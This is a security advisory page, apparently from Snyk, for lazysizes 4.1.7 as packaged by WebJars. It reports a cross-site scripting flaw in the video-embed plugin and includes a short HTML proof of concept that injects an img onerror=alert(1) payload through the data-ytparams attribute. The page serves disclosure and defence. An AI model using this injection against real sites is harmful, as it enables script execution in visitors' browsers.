org.webjars.bowergithub.afarkas:lazysizes@4.1.7 vulnerabilities

  • latest version

    4.1.7

  • first published

    5 years ago

  • latest version published

    5 years ago

  • licenses detected

  • package manager

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.bowergithub.afarkas:lazysizes package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Cross-site Scripting (XSS)

    org.webjars.bowergithub.afarkas:lazysizes is a fast (jank-free), SEO-friendly and self-initializing lazyloader for images (including responsive images picture/srcset), iframes, scripts/widgets and much more. It also prioritizes resources by differentiating between crucial in view and near view elements to make perceived performance even faster.

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to unsafe usage of innerHTML. The following attributes are not sanitized by the video-embed plugin: data-vimeo, data-vimeoparams, data-youtube and data-ytparams which can be abused to inject malicious JavaScript.

    PoC

    <html>
    <head>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/lazysizes/5.2.0/lazysizes.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/lazysizes/5.2.0/plugins/video-embed/ls.video-embed.min.js"></script>
    </head>
    <body>
        <div class="ratio-16-9 lazyload" data-youtube="M7lc1UVf-VE" data-ytparams="&quot;&gt;&lt;/iframe&gt;&lt;img src=x onerror=alert(1)&gt;">
            <button class="play-btn">play</button>
        </div>    
    </body>
    </html>
    

    How to fix Cross-site Scripting (XSS)?

    A fix was pushed into the master branch but not yet published.

    [0,)